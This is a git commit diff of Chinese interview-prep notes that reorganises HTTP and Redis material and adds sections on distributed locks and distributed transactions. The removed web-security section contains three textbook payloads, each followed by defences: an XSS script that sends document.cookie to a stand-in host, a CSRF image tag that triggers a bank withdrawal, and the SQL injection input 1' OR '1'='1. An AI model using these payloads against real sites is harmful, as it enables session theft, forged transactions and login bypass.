auto commit

This commit is contained in:
CyC2018 2018-07-28 01:05:53 +08:00
parent 28e05ef54f
commit 4c1c3ba35e
12 changed files with 737 additions and 613 deletions

View File

@ -105,13 +105,21 @@ Leetcode 上数据库题目的解题记录。
## 系统设计 :bulb: ## 系统设计 :bulb:
> [一致性](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/一致性.md) > [分布式](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/分布式.md)
CAP、BASE、Paxos、Raft 分布式锁、分布式事务、CAP、BASE、Paxos、Raft
>[分布式问题分析](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/分布式问题分析.md) > [集群](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/分布式问题分析.md)
分布式事务、分布式锁、分布式 Session、负载均衡 负载均衡、Session 管理
> [安全性](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/安全性.md)
XSS、CSRF、SQL 注入、DDos
> [消息队列](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/消息队列.md)
消息处理模型、使用场景、可靠性
## 工具 :hammer: ## 工具 :hammer:

View File

@ -40,11 +40,11 @@
* [完整性保护](#完整性保护) * [完整性保护](#完整性保护)
* [HTTPs 的缺点](#https-的缺点) * [HTTPs 的缺点](#https-的缺点)
* [配置 HTTPs](#配置-https) * [配置 HTTPs](#配置-https)
* [七、Web 攻击技术](#七web-攻击技术) * [七、HTTP/2.0](#七http20)
* [跨站脚本攻击](#跨站脚本攻击) * [HTTP/1.x 缺陷](#http1x-缺陷)
* [跨站请求伪造](#跨站请求伪造) * [二进制分帧层](#二进制分帧层)
* [SQL 注入攻击](#sql-注入攻击) * [服务端推送](#服务端推送)
* [拒绝服务攻击](#拒绝服务攻击) * [首部压缩](#首部压缩)
* [八、GET 和 POST 的区别](#八get-和-post-的区别) * [八、GET 和 POST 的区别](#八get-和-post-的区别)
* [作用](#作用) * [作用](#作用)
* [参数](#参数) * [参数](#参数)
@ -53,11 +53,6 @@
* [可缓存](#可缓存) * [可缓存](#可缓存)
* [XMLHttpRequest](#xmlhttprequest) * [XMLHttpRequest](#xmlhttprequest)
* [九、HTTP/1.0 与 HTTP/1.1 的区别](#九http10-与-http11-的区别) * [九、HTTP/1.0 与 HTTP/1.1 的区别](#九http10-与-http11-的区别)
* [十、HTTP/2.0](#十http20)
* [HTTP/1.x 缺陷](#http1x-缺陷)
* [二进制分帧层](#二进制分帧层)
* [服务端推送](#服务端推送)
* [首部压缩](#首部压缩)
* [参考资料](#参考资料) * [参考资料](#参考资料)
<!-- GFM-TOC --> <!-- GFM-TOC -->
@ -716,213 +711,37 @@ HTTPs 的报文摘要功能之所以安全,是因为它结合了加密和认
[Nginx 配置 HTTPS 服务器](https://aotu.io/notes/2016/08/16/nginx-https/index.html) [Nginx 配置 HTTPS 服务器](https://aotu.io/notes/2016/08/16/nginx-https/index.html)
# 七、Web 攻击技术 # 七、HTTP/2.0
## 跨站脚本攻击 ## HTTP/1.x 缺陷
### 1. 概念 HTTP/1.x 实现简单是以牺牲应用性能为代价的:
跨站脚本攻击Cross-Site Scripting, XSS可以将代码注入到用户浏览的网页上这种代码包括 HTML 和 JavaScript。 - 客户端需要使用多个连接才能实现并发和缩短延迟;
- 不会压缩请求和响应首部,从而导致不必要的网络流量;
- 不支持有效的资源优先级,致使底层 TCP 连接的利用率低下。
例如有一个论坛网站,攻击者可以在上面发布以下内容: ## 二进制分帧层
```html HTTP/2.0 将报文分成 HEADERS 帧和 DATA 帧,它们都是二进制格式的。
<script>location.href="//domain.com/?c=" + document.cookie</script>
```
之后该内容可能会被渲染成以下形式: <div align="center"> <img src="../pics//86e6a91d-a285-447a-9345-c5484b8d0c47.png" width="400"/> </div><br>
```html 在通信过程中,只会有一个 TCP 连接存在它承载了任意数量的双向数据流Stream。一个数据流都有一个唯一标识符和可选的优先级信息用于承载双向信息。消息Message是与逻辑请求或响应消息对应的完整的一系列帧。帧Fram是最小的通信单位来自不同数据流的帧可以交错发送然后再根据每个帧头的数据流标识符重新组装。
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
```
另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。 <div align="center"> <img src="../pics//af198da1-2480-4043-b07f-a3b91a88b815.png" width="600"/> </div><br>
### 2. 危害 ## 服务端推送
- 窃取用户的 Cookie 值 HTTP/2.0 在客户端请求一个资源时,会把相关的资源一起发送给客户端,客户端就不需要再次发起请求了。例如客户端请求 page.html 页面,服务端就把 script.js 和 style.css 等与之相关的资源一起发给客户端。
- 伪造虚假的输入表单骗取个人信息
- 显示伪造的文章或者图片
### 3. 防范手段 <div align="center"> <img src="../pics//e3f1657c-80fc-4dfa-9643-bf51abd201c6.png" width="800"/> </div><br>
**(一)设置 Cookie 为 HttpOnly** ## 首部压缩
设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用,就无法通过 document.cookie 获取用户 Cookie 信息 HTTP/1.1 的首部带有大量信息而且每次都要重复发送。HTTP/2.0 要求客户端和服务器同时维护和更新一个包含之前见过的首部字段表从而避免了重复传输。不仅如此HTTP/2.0 也使用 Huffman 编码对首部字段进行压缩
**(二)过滤特殊字符** <div align="center"> <img src="../pics//_u4E0B_u8F7D.png" width="600"/> </div><br>
例如将 `<` 转义为 `&lt;`,将 `>` 转义为 `&gt;`,从而避免 HTML 和 Jascript 代码的运行。
**(三)富文本编辑器的处理**
富文本编辑器允许用户输入 HTML 代码,就不能简单地将 `<` 等字符进行过滤了,极大地提高了 XSS 攻击的可能性。
富文本编辑器通常采用 XSS filter 来防范 XSS 攻击,可以定义一些标签白名单或者黑名单,从而不允许有攻击性的 HTML 代码的输入。
以下例子中form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。
[XSS 过滤在线测试](http://jsxss.com/zh/try.html)
```html
<h1 id="title">XSS Demo</h1>
<p class="text-center">
Sanitize untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist.
</p>
<form>
<input type="text" name="q" value="test">
<button id="submit">Submit</button>
</form>
<pre>hello</pre>
<p>
<a href="http://jsxss.com">http</a>
</p>
<h3>Features:</h3>
<ul>
<li>Specifies HTML tags and their attributes allowed with whitelist</li>
<li>Handle any tags or attributes using custom function</li>
</ul>
<script type="text/javascript">
alert(/xss/);
</script>
```
```html
<h1>XSS Demo</h1>
<p>
Sanitize untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist.
</p>
&lt;form&gt;
&lt;input type="text" name="q" value="test"&gt;
&lt;button id="submit"&gt;Submit&lt;/button&gt;
&lt;/form&gt;
<pre>hello</pre>
<p>
<a href="http://jsxss.com">http</a>
</p>
<h3>Features:</h3>
<ul>
<li>Specifies HTML tags and their attributes allowed with whitelist</li>
<li>Handle any tags or attributes using custom function</li>
</ul>
&lt;script type="text/javascript"&gt;
alert(/xss/);
&lt;/script&gt;
```
## 跨站请求伪造
### 1. 概念
跨站请求伪造Cross-site request forgeryCSRF是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作如发邮件发消息甚至财产操作如转账和购买商品。由于浏览器曾经认证过所以被访问的网站会认为是真正的用户操作而去执行。
XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户浏览器的信任。
假如一家银行用以执行转账操作的 URL 地址如下:
```
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
```
那么,一个恶意攻击者可以在另一个网站上放置如下代码:
```
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">
```
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 资金。
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
透过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
### 2. 防范手段
**(一)检查 Referer 首部字段**
Referer 首部字段位于 HTTP 报文中,用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下,可以极大的防止 XSRF 攻击。
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
**(二)添加校验 Token**
在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中,并要求客户端传回这个随机数。
**(三)输入验证码**
因为 CSRF 攻击是在用户无意识的情况下发生的,所以要求用户输入验证码可以让用户知道自己正在做的操作。
也可以要求用户输入验证码来进行校验。
## SQL 注入攻击
### 1. 概念
服务器上的数据库运行非法的 SQL 语句,主要通过拼接来完成。
### 2. 攻击原理
例如一个网站登录验证的 SQL 查询代码为:
```sql
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
```
如果填入以下内容:
```sql
userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
```
那么 SQL 查询字符串为:
```sql
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
```
此时无需验证通过就能执行以下查询:
```sql
strSQL = "SELECT * FROM users;"
```
### 3. 防范手段
**(一)使用参数化查询**
以下以 Java 中的 PreparedStatement 为例,它是预先编译的 SQL 语句,可以传入适当参数并且多次执行。由于没有拼接的过程,因此可以防止 SQL 注入的发生。
```java
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
```
**(二)单引号转换**
将传入的参数中的单引号转换为连续两个单引号PHP 中的 Magic quote 可以完成这个功能。
## 拒绝服务攻击
拒绝服务攻击denial-of-service attackDoS亦称洪水攻击其目的在于使目标电脑的网络或系统资源耗尽使服务暂时中断或停止导致其正常用户无法访问。
分布式拒绝服务攻击distributed denial-of-service attackDDoS指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
> [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
# 八、GET 和 POST 的区别 # 八、GET 和 POST 的区别
@ -1021,37 +840,6 @@ DELETE /idX/delete HTTP/1.1 -> Returns 404
- HTTP/1.1 新增缓存处理指令 max-age - HTTP/1.1 新增缓存处理指令 max-age
# 十、HTTP/2.0
## HTTP/1.x 缺陷
HTTP/1.x 实现简单是以牺牲应用性能为代价的:
- 客户端需要使用多个连接才能实现并发和缩短延迟;
- 不会压缩请求和响应首部,从而导致不必要的网络流量;
- 不支持有效的资源优先级,致使底层 TCP 连接的利用率低下。
## 二进制分帧层
HTTP/2.0 将报文分成 HEADERS 帧和 DATA 帧,它们都是二进制格式的。
<div align="center"> <img src="../pics//86e6a91d-a285-447a-9345-c5484b8d0c47.png" width="400"/> </div><br>
在通信过程中,只会有一个 TCP 连接存在它承载了任意数量的双向数据流Stream。一个数据流都有一个唯一标识符和可选的优先级信息用于承载双向信息。消息Message是与逻辑请求或响应消息对应的完整的一系列帧。帧Fram是最小的通信单位来自不同数据流的帧可以交错发送然后再根据每个帧头的数据流标识符重新组装。
<div align="center"> <img src="../pics//af198da1-2480-4043-b07f-a3b91a88b815.png" width="600"/> </div><br>
## 服务端推送
HTTP/2.0 在客户端请求一个资源时,会把相关的资源一起发送给客户端,客户端就不需要再次发起请求了。例如客户端请求 page.html 页面,服务端就把 script.js 和 style.css 等与之相关的资源一起发给客户端。
<div align="center"> <img src="../pics//e3f1657c-80fc-4dfa-9643-bf51abd201c6.png" width="800"/> </div><br>
## 首部压缩
HTTP/1.1 的首部带有大量信息而且每次都要重复发送。HTTP/2.0 要求客户端和服务器同时维护和更新一个包含之前见过的首部字段表从而避免了重复传输。不仅如此HTTP/2.0 也使用 Huffman 编码对首部字段进行压缩。
<div align="center"> <img src="../pics//_u4E0B_u8F7D.png" width="600"/> </div><br>
# 参考资料 # 参考资料
@ -1075,10 +863,6 @@ HTTP/1.1 的首部带有大量信息而且每次都要重复发送。HTTP/2.0
- [COOKIE 和 SESSION 有什么区别](https://www.zhihu.com/question/19786827) - [COOKIE 和 SESSION 有什么区别](https://www.zhihu.com/question/19786827)
- [Cookie/Session 的机制与安全](https://harttle.land/2015/08/10/cookie-session.html) - [Cookie/Session 的机制与安全](https://harttle.land/2015/08/10/cookie-session.html)
- [HTTPS 证书原理](https://shijianan.com/2017/06/11/https/) - [HTTPS 证书原理](https://shijianan.com/2017/06/11/https/)
- [维基百科:跨站脚本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
- [维基百科SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
- [维基百科:跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
- [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
- [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn) - [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn)
- [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest) - [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest)
- [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/) - [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/)

View File

@ -27,18 +27,17 @@
* [八、持久化](#八持久化) * [八、持久化](#八持久化)
* [RDB 持久化](#rdb-持久化) * [RDB 持久化](#rdb-持久化)
* [AOF 持久化](#aof-持久化) * [AOF 持久化](#aof-持久化)
* [九、发布与订阅](#九发布与订阅) * [九、事务](#九事务)
* [十、事务](#十事务) * [十、事件](#十事件)
* [十一、事件](#十一事件)
* [文件事件](#文件事件) * [文件事件](#文件事件)
* [时间事件](#时间事件) * [时间事件](#时间事件)
* [事件的调度与执行](#事件的调度与执行) * [事件的调度与执行](#事件的调度与执行)
* [二、复制](#十二复制) * [一、复制](#十一复制)
* [连接过程](#连接过程) * [连接过程](#连接过程)
* [主从链](#主从链) * [主从链](#主从链)
* [三、Sentinel](#十三sentinel) * [二、Sentinel](#十二sentinel)
* [四、分片](#十四分片) * [三、分片](#十三分片)
* [五、一个简单的论坛系统分析](#十五一个简单的论坛系统分析) * [四、一个简单的论坛系统分析](#十四一个简单的论坛系统分析)
* [文章信息](#文章信息) * [文章信息](#文章信息)
* [点赞功能](#点赞功能) * [点赞功能](#点赞功能)
* [对文章进行排序](#对文章进行排序) * [对文章进行排序](#对文章进行排序)
@ -453,20 +452,7 @@ Redis 是内存型数据库,为了保证数据在断电后不会丢失,需
随着服务器写请求的增多AOF 文件会越来越大。Redis 提供了一种将 AOF 重写的特性,能够去除 AOF 文件中的冗余写命令。 随着服务器写请求的增多AOF 文件会越来越大。Redis 提供了一种将 AOF 重写的特性,能够去除 AOF 文件中的冗余写命令。
# 九、发布与订阅 # 九、事务
订阅者订阅了频道之后,发布者向频道发送字符串消息会被所有订阅者接收到。
某个客户端使用 SUBSCRIBE 订阅一个频道,其它客户端可以使用 PUBLISH 向这个频道发送消息。
发布与订阅模式和观察者模式有以下不同:
- 观察者模式中,观察者和主题都知道对方的存在;而在发布与订阅模式中,发布者与订阅者不知道对方的存在,它们之间通过频道进行通信。
- 观察者模式是同步的,当事件触发时,主题会去调用观察者的方法,然后等待方法返回;而发布与订阅模式是异步的,发布者向频道发送一个消息之后,就不需要关心订阅者何时去订阅这个消息。
<div align="center"> <img src="../pics//bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg" width="400"/> </div><br>
# 十、事务
一个事务包含了多个命令,服务器在执行事务期间,不会改去执行其它客户端的命令请求。 一个事务包含了多个命令,服务器在执行事务期间,不会改去执行其它客户端的命令请求。
@ -474,7 +460,7 @@ Redis 是内存型数据库,为了保证数据在断电后不会丢失,需
Redis 最简单的事务实现方式是使用 MULTI 和 EXEC 命令将事务操作包围起来。 Redis 最简单的事务实现方式是使用 MULTI 和 EXEC 命令将事务操作包围起来。
# 十、事件 # 十、事件
Redis 服务器是一个事件驱动程序。 Redis 服务器是一个事件驱动程序。
@ -539,7 +525,7 @@ def main():
<div align="center"> <img src="../pics//c0a9fa91-da2e-4892-8c9f-80206a6f7047.png" width="400"/> </div><br> <div align="center"> <img src="../pics//c0a9fa91-da2e-4892-8c9f-80206a6f7047.png" width="400"/> </div><br>
# 十、复制 # 十、复制
通过使用 slaveof host port 命令来让一个服务器成为另一个服务器的从服务器。 通过使用 slaveof host port 命令来让一个服务器成为另一个服务器的从服务器。
@ -559,11 +545,11 @@ def main():
<div align="center"> <img src="../pics//395a9e83-b1a1-4a1d-b170-d081e7bb5bab.png" width="600"/> </div><br> <div align="center"> <img src="../pics//395a9e83-b1a1-4a1d-b170-d081e7bb5bab.png" width="600"/> </div><br>
# 十、Sentinel # 十、Sentinel
Sentinel哨兵可以监听主服务器并在主服务器进入下线状态时自动从从服务器中选举出新的主服务器。 Sentinel哨兵可以监听主服务器并在主服务器进入下线状态时自动从从服务器中选举出新的主服务器。
# 十、分片 # 十、分片
分片是将数据划分为多个部分的方法,可以将数据存储到多台机器里面,也可以从多台机器里面获取数据,这种方法在解决某些问题时可以获得线性级别的性能提升。 分片是将数据划分为多个部分的方法,可以将数据存储到多台机器里面,也可以从多台机器里面获取数据,这种方法在解决某些问题时可以获得线性级别的性能提升。
@ -575,7 +561,7 @@ Sentinel哨兵可以监听主服务器并在主服务器进入下线状
- 代理分片:将客户端请求发送到代理上,由代理转发请求到正确的节点上。 - 代理分片:将客户端请求发送到代理上,由代理转发请求到正确的节点上。
- 服务器分片Redis Cluster。 - 服务器分片Redis Cluster。
# 十、一个简单的论坛系统分析 # 十、一个简单的论坛系统分析
该论坛系统功能如下: 该论坛系统功能如下:

View File

@ -1,32 +1,178 @@
<!-- GFM-TOC --> <!-- GFM-TOC -->
* [一、CAP](#一cap) * [一、分布式锁](#一分布式锁)
* [数据库的唯一索引](#数据库的唯一索引)
* [Redis 的 SETNX 指令](#redis-的-setnx-指令)
* [Redis 的 RedLock 算法](#redis-的-redlock-算法)
* [Zookeeper 的有序节点](#zookeeper-的有序节点)
* [二、分布式事务](#二分布式事务)
* [本地消息表](#本地消息表)
* [2PC](#2pc)
* [三、CAP](#三cap)
* [一致性](#一致性) * [一致性](#一致性)
* [可用性](#可用性) * [可用性](#可用性)
* [分区容忍性](#分区容忍性) * [分区容忍性](#分区容忍性)
* [权衡](#权衡) * [权衡](#权衡)
* [二、BASE](#二base) * [四、BASE](#四base)
* [基本可用](#基本可用) * [基本可用](#基本可用)
* [软状态](#软状态) * [软状态](#软状态)
* [最终一致性](#最终一致性) * [最终一致性](#最终一致性)
* [三、2PC](#三2pc) * [五、Paxos](#五paxos)
* [运行过程](#运行过程)
* [存在的问题](#存在的问题)
* [四、Paxos](#四paxos)
* [执行过程](#执行过程) * [执行过程](#执行过程)
* [约束条件](#约束条件) * [约束条件](#约束条件)
* [五、Raft](#五raft) * [五、Raft](#五raft)
* [单个 Candidate 的竞选](#单个-candidate-的竞选) * [单个 Candidate 的竞选](#单个-candidate-的竞选)
* [多个 Candidate 竞选](#多个-candidate-竞选) * [多个 Candidate 竞选](#多个-candidate-竞选)
* [日志复制](#日志复制) * [日志复制](#日志复制)
* [参考资料](#参考资料)
<!-- GFM-TOC --> <!-- GFM-TOC -->
# 一、CAP # 一、分布式锁
在单机场景下,可以使用 Java 提供的内置锁来实现进程同步。但是在分布式场景下,需要同步的进程可能位于不同的节点上,那么就需要使用分布式锁。
阻塞锁通常使用互斥量来实现:
- 互斥量为 1 表示有其它进程在使用锁,此时处于锁定状态;
- 互斥量为 0 表示未锁定状态。
1 和 0 可以用一个整型值表示,也可以用某个数据存在或者不存在表示,存在表示互斥量为 1。
## 数据库的唯一索引
当想要获得锁时,就向表中插入一条记录,释放锁时就删除这条记录。唯一索引可以保证该记录只被插入一次,那么就可以用这个记录是否存在来判断是否存于锁定状态。
存在以下几个问题:
- 锁没有失效时间,解锁失败的话其它进程无法再获得锁。
- 只能是非阻塞锁,插入失败直接就报错了,无法重试。
- 不可重入,已经获得锁的进程也必须重新获取锁。
## Redis 的 SETNX 指令
使用 SETNXset if not exist指令插入一个键值对如果 Key 已经存在,那么会返回 False否则插入成功并返回 True。
SETNX 指令和数据库的唯一索引类似,保证了只存在一个 Key 的键值对,那么可以用一个 Key 的键值对是否存在来判断是否存于锁定状态。
EXPIRE 指令可以为一个键值对设置一个过期时间,从而避免了数据库唯一索引实现方式中释放锁失败的问题。
## Redis 的 RedLock 算法
使用了多个 Redis 实例来实现分布式锁,这是为了保证在发生单点故障时仍然可用。
- 尝试从 N 个相互独立 Redis 实例获取锁,如果一个实例不可用,应该尽快尝试下一个;
- 计算获取锁消耗的时间只有当这个时间小于锁的过期时间并且从大多数N / 2 + 1实例上获取了锁那么就认为锁获取成功了
- 如果锁获取失败,会到每个实例上释放锁。
## Zookeeper 的有序节点
### 1. Zookeeper 抽象模型
Zookeeper 提供了一种树形结构级的命名空间,/app1/p_1 节点表示它的父节点为 /app1。
<div align="center"> <img src="../pics//31d99967-1171-448e-8531-bccf5c14cffe.jpg" width="400"/> </div><br>
### 2. 节点类型
- 永久节点:不会因为会话结束或者超时而消失;
- 临时节点:如果会话结束或者超时就会消失;
- 有序节点:会在节点名的后面加一个数字后缀,并且是有序的,例如生成的有序节点为 /lock/node-0000000000它的下一个有序节点则为 /lock/node-0000000001以此类推。
### 3. 监听器
为一个节点注册监听器,在节点状态发生改变时,会给客户端发送消息。
### 4. 分布式锁实现
- 创建一个锁目录 /lock
- 当一个客户端需要获取锁时,在 /lock 下创建临时的且有序的子节点;
- 客户端获取 /lock 下的子节点列表,判断自己创建的子节点是否为当前子节点列表中序号最小的子节点,如果是则认为获得锁;否则监听自己的前一个子节点,获得子节点的变更通知后重复此步骤直至获得锁;
- 执行业务代码,完成后,删除对应的子节点。
### 5. 会话超时
如果一个已经获得锁的会话超时了因为创建的是临时节点所以该会话对应的临时节点会被删除其它会话就可以获得锁了。可以看到Zookeeper 分布式锁不会出现数据库的唯一索引实现分布式锁的释放锁失败问题。
### 6. 羊群效应
一个节点未获得锁,需要监听自己的前一个子节点,这是因为如果监听所有的子节点,那么任意一个子节点状态改变,其它所有子节点都会收到通知(羊群效应),而我们只希望它的后一个子节点收到通知。
参考:
- [Distributed locks with Redis](https://redis.io/topics/distlock)
- [浅谈分布式锁](http://www.linkedkeeper.com/detail/blog.action?bid=1023)
- [基于 Zookeeper 的分布式锁](http://www.dengshenyu.com/java/%E5%88%86%E5%B8%83%E5%BC%8F%E7%B3%BB%E7%BB%9F/2017/10/23/zookeeper-distributed-lock.html)
# 二、分布式事务
指事务的操作位于不同的节点上,需要保证事务的 AICD 特性。例如在下单场景下,库存和订单如果不在同一个节点上,就涉及分布式事务。
## 本地消息表
### 1. 原理
本地消息表与业务数据表处于同一个数据库中,这样就能利用本地事务来保证在对这两个表的操作满足事务特性。
1. 在分布式事务操作的一方完成写业务数据的操作之后向本地消息表发送一个消息,本地事务能保证这个消息一定会被写入本地消息表中。
2. 之后将本地消息表中的消息转发到 Kafka 等消息队列中,如果转发成功则将消息从本地消息表中删除,否则继续重新转发。
3. 在分布式事务操作的另一方从消息队列中读取一个消息,并执行消息中的操作。
<div align="center"> <img src="../pics//e3bf5de4-ab1e-4a9b-896d-4b0ad7e9220a.jpg"/> </div><br>
### 2. 分析
本地消息表利用了本地事务来实现分布式事务,并且使用了消息队列来保证最终一致性。
## 2PC
两阶段提交Two-phase Commit2PC
通过引入协调者Coordinator来协调参与者的行为并最终决定这些参与者是否要真正执行事务。
### 1. 运行过程
(一)准备阶段
协调者询问参与者事务是否执行成功,参与者发回事务执行结果。
<div align="center"> <img src="../pics//04f41228-375d-4b7d-bfef-738c5a7c8f07.jpg"/> </div><br>
(二)提交阶段
如果事务在每个参与者上都执行成功,事务协调者发送通知让参与者提交事务;否则,协调者发送通知让参与者回滚事务。
需要注意的是,在准备阶段,参与者执行了事务,但是还未提交。只有在提交阶段接收到协调者发来的通知后,才进行提交或者回滚。
<div align="center"> <img src="../pics//2991c772-fb1c-4051-a9c7-932b68e76bd7.jpg"/> </div><br>
### 2. 存在的问题
(一)同步阻塞
所有事务参与者在等待其它参与者响应的时候都处于同步阻塞状态,无法进行其它操作。
(二)单点问题
协调者在 2PC 中起到非常大的作用,发生故障将会造成很大影响,特别是在阶段二发生故障,所有参与者会一直等待状态,无法完成其它操作。
(三)数据不一致
在阶段二,如果协调者只发送了部分 Commit 消息,此时网络发生异常,那么只有部分参与者接收到 Commit 消息,也就是说只有部分参与者提交了事务,使得系统数据不一致。
(四)太过保守
任意一个节点失败就会导致整个事务失败,没有完善的容错机制。
参考:
- [聊聊分布式事务,再说说解决方案](https://www.cnblogs.com/savorboard/p/distributed-system-transaction-consistency.html)
- [分布式系统的事务处理](https://coolshell.cn/articles/10910.html)
- [深入理解分布式事务](https://juejin.im/entry/577c6f220a2b5800573492be)
# 三、CAP
分布式系统不可能同时满足一致性CConsistency、可用性AAvailability和分区容忍性PPartition Tolerance最多只能同时满足其中两项。 分布式系统不可能同时满足一致性CConsistency、可用性AAvailability和分区容忍性PPartition Tolerance最多只能同时满足其中两项。
<div align="center"> <img src="../pics//f1109d04-3c67-48a3-9963-2c475f94e175.jpg" width="500"/> </div><br> <div align="center"> <img src="../pics//f1109d04-3c67-48a3-9963-2c475f94e175.jpg"/> </div><br>
## 一致性 ## 一致性
@ -54,18 +200,23 @@
可用性和一致性往往是冲突的,很难都使它们同时满足。在多个节点之间进行数据同步时, 可用性和一致性往往是冲突的,很难都使它们同时满足。在多个节点之间进行数据同步时,
- 为了保证一致性CP就需要让所有节点下线成为不可用的状态等待同步完成 * 为了保证一致性CP就需要让所有节点下线成为不可用的状态等待同步完成
- 为了保证可用性AP在同步过程中允许读取所有节点的数据但是数据可能不一致。 * 为了保证可用性AP在同步过程中允许读取所有节点的数据但是数据可能不一致。
<div align="center"> <img src="../pics//0b587744-c0a8-46f2-8d72-e8f070d67b4b.jpg" width="500"/> </div><br> <div align="center"> <img src="../pics//0b587744-c0a8-46f2-8d72-e8f070d67b4b.jpg"/> </div><br>
# 二、BASE 参考:
- 倪超. 从 Paxos 到 ZooKeeper : 分布式一致性原理与实践 [M]. 电子工业出版社, 2015.
- [What is CAP theorem in distributed database system?](http://www.colooshiki.com/index.php/2017/04/20/what-is-cap-theorem-in-distributed-database-system/)
# 四、BASE
BASE 是基本可用Basically Available、软状态Soft State和最终一致性Eventually Consistent三个短语的缩写。 BASE 是基本可用Basically Available、软状态Soft State和最终一致性Eventually Consistent三个短语的缩写。
BASE 理论是对 CAP 中一致性和可用性权衡的结果,它的理论的核心思想是:即使无法做到强一致性,但每个应用都可以根据自身业务特点,采用适当的方式来使系统达到最终一致性。 BASE 理论是对 CAP 中一致性和可用性权衡的结果,它的理论的核心思想是:即使无法做到强一致性,但每个应用都可以根据自身业务特点,采用适当的方式来使系统达到最终一致性。
<div align="center"> <img src="../pics//bc603930-d74d-4499-a3e7-2d740fc07f33.png" width="250"/> </div><br> <div align="center"> <img src="../pics//bc603930-d74d-4499-a3e7-2d740fc07f33.png"/> </div><br>
## 基本可用 ## 基本可用
@ -85,49 +236,7 @@ ACID 要求强一致性,通常运用在传统的数据库系统上。而 BASE
在实际的分布式场景中,不同业务单元和组件对一致性的要求是不同的,因此 ACID 和 BASE 往往会结合在一起使用。 在实际的分布式场景中,不同业务单元和组件对一致性的要求是不同的,因此 ACID 和 BASE 往往会结合在一起使用。
# 三、2PC # 五、Paxos
两阶段提交Two-phase Commit2PC
主要用于实现分布式事务,分布式事务指的是事务操作跨越多个节点,并且要求满足事务的 ACID 特性。
通过引入协调者Coordinator来调度参与者的行为并最终决定这些参与者是否要真正执行事务。
## 运行过程
### 1. 准备阶段
协调者询问参与者事务是否执行成功,参与者发回事务执行结果。
<div align="center"> <img src="../pics//04f41228-375d-4b7d-bfef-738c5a7c8f07.jpg" width=""/> </div><br>
### 2. 提交阶段
如果事务在每个参与者上都执行成功,事务协调者发送通知让参与者提交事务;否则,协调者发送通知让参与者回滚事务。
<div align="center"> <img src="../pics//2991c772-fb1c-4051-a9c7-932b68e76bd7.jpg" width=""/> </div><br>
需要注意的是,在准备阶段,参与者执行了事务,但是还未提交。只有在提交阶段接收到协调者发来的通知后,才进行提交或者回滚。
## 存在的问题
### 1. 同步阻塞
所有事务参与者在等待其它参与者响应的时候都处于同步阻塞状态,无法进行其它操作。
### 2. 单点问题
